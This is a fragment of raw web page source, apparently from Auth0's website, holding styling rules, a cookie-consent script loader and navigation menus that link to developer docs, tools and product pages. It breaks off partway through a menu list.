.sc-1akycv5-0{background:#3F59E4;opacity:1;}/*!sc*/ .kZamtW:first-child{-webkit-transform:translateY(8.4rem);-ms-transform:translateY(8.4rem);transform:translateY(8.4rem);}/*!sc*/ .kZamtW:nth-child(3){-webkit-transform:translateY(24.4rem);-ms-transform:translateY(24.4rem);transform:translateY(24.4rem);}/*!sc*/ data-styled.g567[id="sc-1akycv5-2"]{content:"kZamtW,"}/*!sc*/ @media screen and (min-width:1200px){.kKvwZS{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;margin-bottom:0.8rem;gap:1.6rem;}}/*!sc*/ data-styled.g568[id="sc-1akycv5-3"]{content:"kKvwZS,"}/*!sc*/ .faaFJY{padding:2.4rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;z-index:1;}/*!sc*/ @media screen and (min-width:1200px){.faaFJY{min-height:29.6rem;}}/*!sc*/ data-styled.g569[id="sc-1akycv5-4"]{content:"faaFJY,"}/*!sc*/ .fRqgPG{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin:auto 0 0;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;gap:0 1.2rem;}/*!sc*/ .fRqgPG button{padding:0;}/*!sc*/ .fRqgPG button p:hover{-webkit-text-decoration:none;text-decoration:none;}/*!sc*/ data-styled.g570[id="sc-1akycv5-5"]{content:"fRqgPG,"}/*!sc*/ .bqSjfU{max-width:144rem;padding:9.6rem 1.6rem 0;margin:0 auto 4rem;}/*!sc*/ @media screen and (min-width:900px){.bqSjfU{padding:9.6rem 6.4rem 0;}}/*!sc*/ @media screen and (min-width:1200px){.bqSjfU{padding:23.6rem 6.4rem 0;position:relative;margin-bottom:4.8rem;}}/*!sc*/ data-styled.g627[id="sc-14t63q7-0"]{content:"bqSjfU,"}/*!sc*/ .kUZLOE{list-style:none;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;gap:0.8rem;margin:0 0 0.8rem;padding:0;}/*!sc*/ .kUZLOE li:not(:first-of-type) >:first-child:before{content:'/';display:inline-block;margin-right:0.8rem;}/*!sc*/ .kUZLOE a:hover{cursor:pointer;color:#B6CAFF;-webkit-text-decoration:underline;text-decoration:underline;text-underline-offset:0.2rem;}/*!sc*/ @media screen and (min-width:1200px){.kUZLOE{margin:0 0 2.4rem;}}/*!sc*/ data-styled.g628[id="sc-14t63q7-1"]{content:"kUZLOE,"}/*!sc*/ .hhWMTM{width:100%;display:grid;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;margin:2.4rem auto;}/*!sc*/ data-styled.g630[id="sc-88q8hx-0"]{content:"hhWMTM,"}/*!sc*/ .kfYqEB{max-width:100%;}/*!sc*/ data-styled.g652[id="sc-1rc3wko-0"]{content:"kfYqEB,"}/*!sc*/ .fYNeXn{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;gap:1.6rem;margin-bottom:1.6rem;border-bottom:0.1rem solid #555555;}/*!sc*/ .fYNeXn > div:first-child{border:none;}/*!sc*/ .fYNeXn label{min-width:17.6rem;display:none;}/*!sc*/ @media screen and (min-width:1200px){.fYNeXn{margin-bottom:2.4rem;border-bottom:none;}.fYNeXn > div:first-child{border-bottom:0.1rem solid #555555;}.fYNeXn label{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}}/*!sc*/ data-styled.g653[id="sc-1rc3wko-1"]{content:"fYNeXn,"}/*!sc*/ .jsCONy{display:grid;gap:0.8rem;}/*!sc*/ @media screen and (min-width:900px){.jsCONy{gap:1.6rem;}}/*!sc*/ @media screen and (min-width:1200px){.jsCONy{margin-bottom:2.4rem;grid-template-columns:1fr 1fr;}}/*!sc*/ data-styled.g654[id="sc-1rc3wko-2"]{content:"jsCONy,"}/*!sc*/ .enauqK{margin-bottom:0.8rem;}/*!sc*/ @media screen and (min-width:1200px){.enauqK{display:none;}}/*!sc*/ data-styled.g655[id="sc-1rc3wko-3"]{content:"enauqK,"}/*!sc*/ .hibgHG{-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;background-color:transparent;border:0.1rem solid #FFFEFA;border-radius:0.8rem;color:#E5E5E5;font-family:Aeonik,sans-serif;font-size:1.4rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-letter-spacing:0.021rem;-moz-letter-spacing:0.021rem;-ms-letter-spacing:0.021rem;letter-spacing:0.021rem;line-height:2rem;outline:none;padding:0.8rem 1.6rem;-webkit-transition:all 0.2s ease;transition:all 0.2s ease;}/*!sc*/ .hibgHG > span{margin-left:0.4rem;}/*!sc*/ data-styled.g656[id="sc-1rc3wko-4"]{content:"hibgHG,"}/*!sc*/ .joqbUW{background:#111111;padding-top:1.2rem;}/*!sc*/ data-styled.g717[id="styled__Wrapper-sc-1gk46x3-0"]{content:"joqbUW,"}/*!sc*/ .gDWHCk{width:100%;max-width:144rem;margin:auto;font-family:Inter,sans-serif;padding:0 1.6rem;}/*!sc*/ @media screen and (min-width:900px){.gDWHCk{padding:0 6.4rem;}}/*!sc*/ data-styled.g718[id="styled__Content-sc-1gk46x3-1"]{content:"gDWHCk,"}/*!sc*/ .fvSMPF{display:grid;grid-template-columns:1fr 1fr;grid-row-gap:4.8rem;margin:4.8rem auto auto;}/*!sc*/ @media screen and (min-width:900px){.fvSMPF{margin:6.4rem auto auto;}}/*!sc*/ @media screen and (min-width:1200px){.fvSMPF{grid-template-columns:1fr 1fr 1fr 1fr;grid-template-rows:1fr 1fr;margin:8rem auto auto;max-width:131.2rem;}}/*!sc*/ data-styled.g719[id="styled__Nav-sc-1gk46x3-2"]{content:"fvSMPF,"}/*!sc*/ .fLDEkJ{list-style:none;margin-bottom:0;padding-left:0;}/*!sc*/ data-styled.g720[id="styled__LinksList-sc-1gk46x3-3"]{content:"fLDEkJ,"}/*!sc*/ .mYoth{font-weight:500;font-size:1.4rem;line-height:3.2rem;-webkit-letter-spacing:-0.001rem;-moz-letter-spacing:-0.001rem;-ms-letter-spacing:-0.001rem;letter-spacing:-0.001rem;padding-right:3.2rem;}/*!sc*/ .mYoth a{color:#fff;}/*!sc*/ .mYoth a span{background:linear-gradient( 59deg,#4016a0 -18.49%,#3f59e4 38.74%,#4cb7a3 106.36% );padding:0.1rem 0.6rem;border-radius:0.4rem;margin-left:0.8rem;color:#fff;font-weight:600;}/*!sc*/ .mYoth a:hover{color:#bcbaff;}/*!sc*/ @media screen and (min-width:900px){.mYoth p::before{content:'';margin-right:0.8rem;border-left:0.1rem solid #8c929c;height:1.2rem;display:inline-block;}}/*!sc*/ data-styled.g722[id="styled__LinksListItem-sc-1gk46x3-5"]{content:"mYoth,"}/*!sc*/ .bIoZHy{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;}/*!sc*/ .bIoZHy > ul{-webkit-flex:1;-ms-flex:1;flex:1;}/*!sc*/ data-styled.g723[id="styled__LastSection-sc-1gk46x3-6"]{content:"bIoZHy,"}/*!sc*/ .ePaSVl{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;grid-gap:1.6rem;margin-left:1.6rem;display:none;}/*!sc*/ @media screen and (min-width:900px){.ePaSVl{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-left:0;}}/*!sc*/ .bqmjrK{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;grid-gap:1.6rem;margin-left:1.6rem;}/*!sc*/ @media screen and (min-width:900px){.bqmjrK{display:none;}}/*!sc*/ data-styled.g724[id="styled__Icons-sc-1gk46x3-7"]{content:"ePaSVl,bqmjrK,"}/*!sc*/ .bqgUVT{height:2.4rem;}/*!sc*/ .bqgUVT:hover{cursor:pointer;}/*!sc*/ .bqgUVT:hover path{fill:#bcbaff;}/*!sc*/ data-styled.g725[id="styled__IconsLink-sc-1gk46x3-8"]{content:"bqgUVT,"}/*!sc*/ .gobPqK{padding:2.4rem 0 0;position:relative;margin-top:4.8rem;}/*!sc*/ @media screen and (min-width:900px){.gobPqK{display:none;}}/*!sc*/ data-styled.g726[id="styled__FooterBottomMobile-sc-1gk46x3-9"]{content:"gobPqK,"}/*!sc*/ .iyAPaK{display:none;}/*!sc*/ @media screen and (min-width:900px){.iyAPaK{display:block;border-top:0.1rem solid #5a5f66;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;padding:2.4rem 0;position:relative;margin-top:4.8rem;}}/*!sc*/ @media screen and (min-width:1200px){.iyAPaK{margin-top:10rem;}}/*!sc*/ data-styled.g727[id="styled__FooterBottom-sc-1gk46x3-10"]{content:"iyAPaK,"}/*!sc*/ .hyLWBj{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin:2.4rem 1.6rem;}/*!sc*/ data-styled.g728[id="styled__LegalAndLangMobile-sc-1gk46x3-11"]{content:"hyLWBj,"}/*!sc*/ .blPSfp{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;font-weight:500;color:#8c929c;grid-gap:0.6rem;font-size:1.2rem;line-height:1.8rem;-webkit-flex:1;-ms-flex:1;flex:1;-webkit-flex-flow:wrap;-ms-flex-flow:wrap;flex-flow:wrap;}/*!sc*/ .blPSfp img{max-width:4rem;}/*!sc*/ .blPSfp a{color:#8c929c;}/*!sc*/ .blPSfp a:hover{color:#bcbaff;}/*!sc*/ @media screen and (min-width:900px){.blPSfp{-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end;}}/*!sc*/ @media screen and (min-width:1200px){.blPSfp{font-size:1.4rem;line-height:2.2rem;}}/*!sc*/ data-styled.g729[id="styled__Legal-sc-1gk46x3-12"]{content:"blPSfp,"}/*!sc*/ body{background:#111;}/*!sc*/ data-styled.g764[id="sc-global-kwhGru1"]{content:"sc-global-kwhGru1,"}/*!sc*/ .kjBEnM{margin:4rem 0.4rem;}/*!sc*/ @media screen and (min-width:1200px){.kjBEnM{margin:8rem 0 6.4rem;}}/*!sc*/ data-styled.g849[id="fj6wb5-0"]{content:"kjBEnM,"}/*!sc*/ @-webkit-keyframes DPLcZ{from{opacity:0;}to{opacity:1;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);}}/*!sc*/ @keyframes DPLcZ{from{opacity:0;}to{opacity:1;-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0);}}/*!sc*/ data-styled.g857[id="sc-keyframes-DPLcZ"]{content:"DPLcZ,"}/*!sc*/ @media screen and (min-width:1200px){.cxRPsw{position:relative;}.cxRPsw:before{content:'';position:absolute;background:#7192EC;width:90rem;height:29.5rem;border-radius:96.7rem;-webkit-filter:blur(23rem);filter:blur(23rem);top:-27.2rem;left:-14rem;}@-moz-document url-prefix(){.cxRPsw:before{top:-15rem;}}}/*!sc*/ data-styled.g892[id="sc-18w14yg-0"]{content:"cxRPsw,"}/*!sc*/ .goiBIM{display:block;padding:0 1.6rem;}/*!sc*/ @media screen and (min-width:900px){.goiBIM{padding:0 6.4rem;}}/*!sc*/ data-styled.g893[id="sc-18w14yg-1"]{content:"goiBIM,"}/*!sc*/ .gtUHwd{max-width:144rem;margin:0 auto;padding:0 1.6rem;}/*!sc*/ @media screen and (min-width:900px){.gtUHwd{padding:0 6.4rem;}}/*!sc*/ @media screen and (min-width:1200px){.gtUHwd{display:grid;grid-template-columns:repeat(12,1fr);gap:3.2rem;}}/*!sc*/ data-styled.g894[id="sc-18w14yg-2"]{content:"gtUHwd,"}/*!sc*/ .fxZeTr{grid-column:5 / 13;}/*!sc*/ data-styled.g895[id="sc-18w14yg-3"]{content:"fxZeTr,"}/*!sc*/ .ha-DODc{margin:4rem auto 0;max-width:144rem;}/*!sc*/ @media screen and (min-width:1200px){.ha-DODc{display:none;}}/*!sc*/ data-styled.g896[id="sc-18w14yg-4"]{content:"ha-DODc,"}/*!sc*/ .cDiBYB{margin-bottom:5.6rem;}/*!sc*/ data-styled.g897[id="yzj4mm-0"]{content:"cDiBYB,"}/*!sc*/ .diPpfE{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;gap:1.6rem;margin:1.6rem 0;}/*!sc*/ .diPpfE img{border-radius:100%;}/*!sc*/ data-styled.g898[id="yzj4mm-1"]{content:"diPpfE,"}/*!sc*/ .heMXcy{display:none;}/*!sc*/ @media screen and (min-width:1200px){.heMXcy{display:block;grid-column:1 / 4;}}/*!sc*/ data-styled.g899[id="sc-24f204-0"]{content:"heMXcy,"}/*!sc*/ </style></head><body itemscope="" itemType="http://schema.org/WebPage"><div id="__next"><script src="https://cdn.cookielaw.org/scripttemplates/otSDKStub.js" type="text/javascript" charSet="UTF-8" data-domain-script="96e22fd8-d619-4cdd-a3c6-d51529d21faf" id="consent-script"></script><script> function OptanonWrapper() { const status = document.getElementById("onetrust-accept-btn-handler") ? 'waitingForConsent' : 'expressedConsent'; window.top.postMessage(status, '*'); } </script><div class="styled__ObservedPixel-sc-1755fzv-2 TGnyL"></div><div class="styled__HeaderBackMobile-sc-1755fzv-1 dHTtIj"></div><header class="styled__Header-sc-1755fzv-3 kwaEt"><div class="styled__Wrapper-q607n8-0 kXBJzn"><div class="styled__Container-q607n8-1 bTcOHV"><a class="styled__Message-q607n8-5 iXBkOf"></a><div class="styled__Buttons-q607n8-6 gncCYg"><a href="/api/auth/login?redirectTo=dashboard" rel="external" class="styled__Login-q607n8-7 gGyWpQ">Login</a></div></div></div><nav aria-label="Mobile nav" class="styled__NavMobile-sc-1755fzv-9 gZnwIf"><a rel="external" href="/" aria-label="Auth0 logo" class="styled__LogoWrapperMobile-sc-1755fzv-5 cUYhhG"><svg xmlns="http://www.w3.org/2000/svg" width="106" height="40" viewBox="0 0 106 40" fill="none"><path d="M1.69096 17.4795C6.93608 16.6184 11.0487 12.5058 11.9098 7.26068L12.3326 4.70858C12.4108 4.21277 12.009 3.77959 11.5079 3.81612C7.51539 4.12404 3.75249 5.44967 1.67009 6.30037C0.662823 6.71268 0 7.69386 0 8.78985V16.8532C0 17.3282 0.422753 17.6883 0.892465 17.61L1.69096 17.4795Z" fill="#FFFEFA"></path><path d="M14.4356 7.26056C15.2968 12.5057 19.4094 16.6183 24.6545 17.4794L25.453 17.6099C25.9227 17.6882 26.3454 17.3281 26.3454 16.8531V8.78973C26.3454 7.69895 25.6826 6.71777 24.6753 6.30025C22.5982 5.44433 18.83 4.12392 14.8375 3.816C14.3365 3.77947 13.9294 4.21265 14.0129 4.70846L14.4356 7.26056Z" fill="#FFFEFA"></path><path d="M24.6589 20.0112C19.4138 20.8723 15.3012 24.9849 14.44 30.23L13.9181 35.209C13.8712 35.6578 14.367 35.9762 14.7428 35.7257C14.7428 35.7257 14.748 35.7257 14.7532 35.7205C18.0412 33.5024 25.5461 27.6936 26.2872 20.4392C26.3238 20.0843 26.0054 19.792 25.6557 19.8494L24.6641 20.0112H24.6589Z" fill="#FFFEFA"></path><path d="M11.9075 30.2277C11.0464 24.9826 6.9338 20.87 1.68868 20.0088L0.618783 19.8314C0.305641 19.7792 0.0238052 20.0401 0.0551193 20.3585C0.759688 27.6547 8.36904 33.5 11.6831 35.7181C12.0276 35.9477 12.4816 35.6711 12.4399 35.2588L11.9128 30.2225L11.9075 30.2277Z" fill="#FFFEFA"></path><path d="M62.7942 13.954H60.297C60.1456 13.954 60.0267 14.073 60.0267 14.2243V21.4295C60.0267 22.3105 59.8807 23.0835 59.5889 23.7483C59.297 24.4132 58.8862 24.9213 58.3511 25.2672C57.8159 25.6132 57.1835 25.7861 56.4538 25.7861C55.4052 25.7861 54.616 25.4402 54.0917 24.7483C53.5674 24.0564 53.3026 23.0619 53.3026 21.77V14.2243C53.3026 14.073 53.1837 13.954 53.0323 13.954H50.5081C50.3567 13.954 50.2378 14.073 50.2378 14.2243V22.0781C50.2378 23.2943 50.3891 24.3105 50.6864 25.1267C50.9837 25.9429 51.3945 26.6023 51.908 27.1104C52.4215 27.6185 53.0107 27.9752 53.6809 28.1915C54.3458 28.4077 55.0431 28.5158 55.7728 28.5158C56.8214 28.5158 57.6916 28.3158 58.3889 27.9104C58.9024 27.6131 59.3348 27.2834 59.697 26.9158C59.8483 26.7591 60.1078 26.8455 60.151 27.0564L60.3456 28.1212C60.3672 28.2509 60.4807 28.3428 60.6105 28.3428H62.7834C62.9347 28.3428 63.0536 28.2239 63.0536 28.0725V14.2243C63.0536 14.073 62.9347 13.954 62.7834 13.954H62.7942Z" fill="#FFFEFA"></path><path d="M73.644 25.6751H70.3846C69.8062 25.6751 69.3954 25.5562 69.163 25.3237C68.9306 25.0913 68.8117 24.6913 68.8117 24.1292V16.897C68.8117 16.7456 68.9306 16.6267 69.0819 16.6267H73.5034C73.6548 16.6267 73.7737 16.5078 73.7737 16.3564V14.2268C73.7737 14.0754 73.6548 13.9565 73.5034 13.9565H69.3522C69.0549 13.9565 68.8117 13.7133 68.8117 13.416V9.85394C68.8117 9.70259 68.6928 9.58368 68.5414 9.58368H66.0442C65.8928 9.58368 65.7739 9.70259 65.7739 9.85394V24.4427C65.7739 25.7562 66.082 26.7345 66.7036 27.3777C67.3198 28.0264 68.3144 28.3453 69.6819 28.3453H73.644C73.7953 28.3453 73.9142 28.2264 73.9142 28.075V25.9453C73.9142 25.794 73.7953 25.6751 73.644 25.6751Z" fill="#FFFEFA"></path><path d="M86.3392 14.5169C85.4852 14.0304 84.4907 13.7872 83.3447 13.7872C82.4475 13.7872 81.6205 13.9655 80.8691 14.3223C80.3286 14.5817 79.8475 14.9006 79.4367 15.2844C79.2638 15.4466 78.9881 15.3223 78.9881 15.0898V8.93866C78.9881 8.78731 78.8692 8.6684 78.7178 8.6684H76.1936C76.0423 8.6684 75.9233 8.78731 75.9233 8.93866V28.0732C75.9233 28.2246 76.0423 28.3435 76.1936 28.3435H78.7178C78.8692 28.3435 78.9881 28.2246 78.9881 28.0732V21.0626C78.9881 20.1275 79.1395 19.3167 79.4367 18.6303C79.734 17.9492 80.1611 17.4195 80.7178 17.0411C81.2691 16.6682 81.9232 16.479 82.6691 16.479C83.415 16.479 84.0096 16.6465 84.4961 16.9871C84.9825 17.3222 85.3501 17.7979 85.5933 18.4086C85.8366 19.0194 85.9609 19.7437 85.9609 20.587V28.0732C85.9609 28.2246 86.0798 28.3435 86.2311 28.3435H88.7284C88.8797 28.3435 88.9986 28.2246 88.9986 28.0732V20.3329C88.9986 18.8735 88.7716 17.6573 88.3122 16.6952C87.8527 15.7276 87.1987 15.0033 86.3446 14.5169H86.3392Z" fill="#FFFEFA"></path><path d="M104.469 12.9455C103.891 11.5239 103.064 10.4267 101.994 9.65913C100.923 8.89158 99.6423 8.50781 98.1451 8.50781C96.6478 8.50781 95.3884 8.89158 94.3073 9.65913C93.2317 10.4267 92.3993 11.5239 91.8209 12.9455C91.2426 14.3725 90.9507 16.0752 90.9507 18.0589V18.9561C90.9507 20.9615 91.2426 22.6804 91.8209 24.1128C92.3993 25.5451 93.2317 26.637 94.3073 27.3883C95.383 28.1397 96.664 28.5126 98.1451 28.5126C99.6261 28.5126 100.929 28.1397 101.994 27.3883C103.058 26.637 103.885 25.5451 104.469 24.1128C105.048 22.6804 105.339 20.9615 105.339 18.9561V18.0589C105.339 16.0752 105.048 14.3671 104.469 12.9455ZM94.0155 19.3021C94.0155 19.1507 94.0155 18.9994 94.0155 18.848V18.1724C94.0155 15.886 94.3722 14.1347 95.0857 12.9185C95.7992 11.7023 96.8208 11.0915 98.1505 11.0915C99.3883 11.0915 100.356 11.6158 101.058 12.6699C101.329 13.0482 101.096 13.5293 100.983 13.659L95.4424 19.8372C94.9506 20.3885 94.0425 20.048 94.0263 19.3129L94.0155 19.3021ZM102.275 18.848C102.275 21.1182 101.918 22.8587 101.204 24.0749C100.491 25.2911 99.4693 25.9019 98.1397 25.9019C96.9181 25.9019 95.9559 25.3884 95.2587 24.3614C94.9884 23.9884 95.2208 23.5128 95.3343 23.3776L100.853 17.1886C101.345 16.6373 102.253 16.9724 102.269 17.7129C102.269 17.8643 102.269 18.021 102.269 18.1778V18.8534L102.275 18.848Z" fill="#FFFEFA"></path><path d="M48.5034 25.7039H48.4277C48.125 25.7039 47.9142 25.6391 47.7791 25.5093C47.6493 25.3796 47.5845 25.1364 47.5845 24.7796V19.0176C47.5845 17.315 47.0602 16.0177 46.0115 15.1259C44.9629 14.234 43.4927 13.7908 41.6009 13.7908C40.4009 13.7908 39.3469 13.98 38.4388 14.3529C37.5307 14.7259 36.8064 15.2556 36.2605 15.9421C35.7794 16.5474 35.4767 17.2447 35.347 18.0339C35.32 18.196 35.4551 18.3474 35.6173 18.3474H38.0712C38.1956 18.3474 38.2983 18.2609 38.3307 18.1366C38.4766 17.5961 38.7955 17.1528 39.2982 16.8123C39.8604 16.4285 40.5793 16.2339 41.4603 16.2339C42.4333 16.2339 43.1954 16.461 43.7359 16.9204C44.2765 17.3799 44.5521 18.0123 44.5521 18.8176V19.4176C44.5521 19.569 44.4332 19.6879 44.2819 19.6879H41.0117C39.028 19.6879 37.5145 20.0879 36.4713 20.8825C35.4335 21.677 34.9092 22.8175 34.9092 24.2986C34.9092 25.1796 35.1362 25.9364 35.5848 26.5742C36.0335 27.212 36.6551 27.6931 37.455 28.0228C38.2496 28.3525 39.1631 28.5147 40.1955 28.5147C41.5468 28.5147 42.6441 28.2012 43.4981 27.5741C43.8711 27.2985 44.2062 26.985 44.4981 26.6444C44.6386 26.4769 44.9143 26.5363 44.9629 26.7471C45.0386 27.1039 45.1845 27.4174 45.3954 27.6714C45.7683 28.1201 46.4656 28.3471 47.4764 28.3471H48.779C48.9304 28.3471 49.0493 28.2282 49.0493 28.0768V26.1526C49.0493 25.785 48.9304 25.7039 48.5088 25.7039H48.5034ZM44.5467 22.5311C44.5467 23.2229 44.39 23.8499 44.0711 24.4013C43.7522 24.9526 43.3035 25.385 42.7198 25.6931C42.1414 26.0012 41.4333 26.158 40.6117 26.158C39.7901 26.158 39.1631 25.9634 38.6874 25.5796C38.2118 25.1958 37.9685 24.704 37.9685 24.104C37.9685 23.3743 38.2172 22.8283 38.7145 22.4716C39.2118 22.1148 39.9252 21.9365 40.8658 21.9365H44.5467V22.5256V22.5311Z" fill="#FFFEFA"></path></svg></a><div class="styled__RightColumnMobile-sc-1755fzv-10 UKpEE"><button aria-label="Menu" aria-expanded="false" class="styled__BurgerIconWrapper-sc-1755fzv-11 iHuLVG"><span class="styled__BurgerIcon-sc-1755fzv-12 dGpEKR"></span></button></div><section class="styled__Wrapper-sc-85iotp-0 hdiybx"><ul class="styled__ContentWrapper-sc-85iotp-1 iZzMFn"><li class="styled__NavItemContainer-sc-85iotp-2 fbKXcX"><p class="styled__NavItemTitle-sc-85iotp-5 jJmhNW">Developers</p><div class="styled__NavItem-sc-85iotp-6 dAmhCz"><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><p class="styled__ColumnItemTitle-sc-85iotp-8 dhdvtD">Developers</p><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://developer.auth0.com/" rel="external">Developer Center</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://developer.auth0.com/resources/code-samples" rel="external">Code Samples</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://developer.auth0.com/resources/guides" rel="external">Guides</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://identityunlocked.auth0.com/public/49/Identity,-Unlocked.--bed7fada" rel="external">Identity Unlocked - Podcasts</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://developer.auth0.com/newsletter" rel="external">Zero Index Newsletter</a></li></ul></div><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><p class="styled__ColumnItemTitle-sc-85iotp-8 dhdvtD">Developer Tools</p><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://openidconnect.net/" rel="external">OIDC Connect Playground</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://samltool.io/" rel="external">SAML Tool</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="http://jwt.io/" rel="external">JWT.io</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="http://webauthn.me/" rel="external">Webauthn.me</a></li></ul></div><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><p class="styled__ColumnItemTitle-sc-85iotp-8 dhdvtD">Get Involved</p><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://developer.auth0.com/events" rel="external">Events</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/research-program" rel="external">Auth0 Research Program</a></li></ul></div></div></li><li class="styled__NavItemContainer-sc-85iotp-2 fbKXcX"><p class="styled__NavItemTitle-sc-85iotp-5 jJmhNW">Documentation</p><div class="styled__NavItem-sc-85iotp-6 dAmhCz"><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><p class="styled__ColumnItemTitle-sc-85iotp-8 dhdvtD">Documentation</p><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/docs" rel="external">Auth0 Docs</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/docs/articles" rel="external">Articles</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/docs/quickstarts" rel="external">Quickstarts</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/docs/api" rel="external">APIs</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/docs/libraries" rel="external">SDK Libraries</a></li></ul></div><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><p class="styled__ColumnItemTitle-sc-85iotp-8 dhdvtD">Support Center</p><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://community.auth0.com/" rel="external">Community</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://support.auth0.com/" rel="external">Support</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://community.auth0.com/c/help/6" rel="external">Help</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://community.auth0.com/c/faq/42" rel="external">FAQs</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://marketplace.auth0.com" rel="external">Explore Auth0 Marketplace</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/resources" rel="external">Resources</a></li></ul></div><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/blog/" rel="external">Blog</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/learn" rel="external">Learn</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/intro-to-iam" rel="external">Intro to IAM (CIAM)</a></li></ul></div></div></li><li class="styled__NavItemContainer-sc-85iotp-2 fbKXcX"><p class="styled__NavItemTitle-sc-85iotp-5 jJmhNW">Product</p><div class="styled__NavItem-sc-85iotp-6 dAmhCz"><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><p class="styled__ColumnItemTitle-sc-85iotp-8 dhdvtD">Platform</p><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/platform/access-management" rel="external">Access Management</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/platform/extensibility" rel="external">Extensibility</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/platform/login-security" rel="external">Security</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/platform/user-management" rel="external">User Management</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/platform/authentication" rel="external">Authentication</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/fine-grained-authorization" rel="external">Fine Grained Authorization</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://auth0.com/platform" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 butiik FYDuM">View platform</a></li></ul></div><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><p class="styled__ColumnItemTitle-sc-85iotp-8 dhdvtD">Features</p><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/features/universal-login" rel="external">Universal Login</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/features/single-sign-on" rel="external">Single Sign On</a></li><li 